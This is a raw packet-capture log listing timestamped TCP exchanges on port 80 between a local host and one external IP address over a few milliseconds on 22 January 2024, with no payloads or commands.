Jan 22, 2024 11:52:05.670006037 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.670011044 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.670046091 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.670672894 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.670685053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.670734882 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.670818090 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.670830965 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.670840979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.670854092 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.670866013 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.670875072 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.670878887 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.670892000 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.670901060 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.670905113 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.670917988 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.670934916 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.670960903 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.671588898 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.671683073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.671695948 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.671708107 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.671719074 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.671731949 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.671735048 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.671763897 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.671804905 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.672077894 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.672117949 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.672167063 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.672256947 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.672269106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.672280073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.672291994 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.672303915 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.672313929 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.672317982 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.672332048 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.672343969 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.672355890 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.672355890 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.672388077 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.673023939 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.673037052 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.673047066 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.673058987 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.673084021 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.673115969 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.673119068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.673132896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.673142910 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.673161030 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.673171997 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.673171997 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.673194885 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.673202038 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.673216105 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.673233986 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.673271894 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.673841953 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.673890114 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.673940897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.673942089 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.673954010 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.673968077 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.674001932 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.674057961 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.674071074 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.674082041 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.674094915 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.674108028 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.674112082 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.674122095 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.674151897 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.674768925 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.674822092 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.674916029 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.674927950 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.674937963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.674949884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.674962044 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.674973965 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.674977064 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.674988031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.675000906 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.675012112 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.675014019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.675028086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.675036907 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.675062895 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.675079107 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.675822020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.675833941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.675844908 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.675856113 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.675868034 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.675880909 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.675882101 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.675901890 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.675915956 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.675915956 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.675930977 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.675941944 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.675944090 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.675957918 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.675987959 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.676772118 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.676784039 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.676794052 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.676805019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.676817894 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.676831007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.676836014 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.676842928 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.676856995 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.676867962 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.676867962 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.676882982 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.676892996 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.676896095 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.676918030 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.676951885 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.677570105 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.677582979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.677593946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.677603960 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.677615881 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.677625895 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.677630901 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.677649021 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.677681923 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.678081036 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.678092957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.678103924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.678121090 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.678133011 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.678139925 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.678144932 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.678158045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.678167105 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.678170919 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.678184032 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.678195000 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.678196907 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.678210020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.678225994 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.678226948 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.678242922 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.678252935 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.678256989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.678293943 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.678328037 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.678949118 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.678980112 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.678991079 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679025888 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.679160118 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679172039 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679182053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679193020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679205894 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679217100 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679217100 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.679230928 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679243088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679255962 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679256916 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.679270983 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679284096 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.679285049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679306984 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.679332972 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.679763079 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679775953 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679785967 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679797888 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679821014 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.679850101 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.679959059 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679970980 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679981947 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.679992914 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.680006027 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.680010080 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.680017948 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.680031061 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.680033922 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.680043936 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.680058002 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.680058002 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.680072069 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.680084944 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.680130005 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.680716991 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.680919886 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.680932045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.680942059 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.680953026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.680965900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.680979013 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.680979013 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.680991888 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.681005001 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.681015968 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.681016922 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.681036949 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.681049109 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.681051016 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.681063890 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.681063890 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.681077957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.681091070 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.681133986 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.681674957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.681688070 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.681729078 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.681876898 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.681894064 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.681905031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.681925058 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.681936979 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.681947947 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.681960106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.681966066 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.681972980 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.681986094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.681994915 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.681998968 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.682013988 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.682017088 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.682027102 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.682048082 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.682087898 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.682620049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.682734966 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.682748079 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.682759047 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.682771921 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.682784081 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.682785988 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.682796955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.682810068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.682821989 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.682868004 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.683145046 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.683327913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.683341026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.683351040 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.683362961 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.683374882 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.683383942 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.683387995 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.683401108 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.683414936 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.683417082 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.683428049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.683440924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.683453083 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.683465958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.683479071 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.683485985 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.683507919 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.683531046 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.684345007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.684356928 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.684366941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.684379101 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.684391022 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.684401989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.684401989 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.684416056 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.684428930 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.684428930 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.684442043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.684453964 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.684453964 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.684465885 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.684478998 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.684489965 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.684492111 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.684505939 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.684525013 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.685000896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.685034990 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.685039997 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.685091972 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.685117006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.685129881 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.685141087 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.685178041 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.685214043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.685225964 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.685235977 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.685247898 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.685260057 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.685270071 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.685272932 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.685286045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.685298920 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.685307980 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.685312986 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.685332060 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.685376883 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.685983896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.685997963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.686007977 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.686019897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.686034918 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.686038971 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.686064959 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.686077118 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.686079025 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.686091900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.686104059 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.686120987 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.686137915 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.686151028 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.686156034 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.686163902 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.686177015 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.686182022 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.686191082 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.686220884 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.686249971 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.686983109 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.686995029 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.687005043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.687040091 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.687061071 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.687110901 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.687135935 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.687148094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.687158108 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.687170029 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.687181950 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.687191010 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.687194109 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.687206984 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.687218904 CET	80	49730	104.21.23.90	192.168.2.4
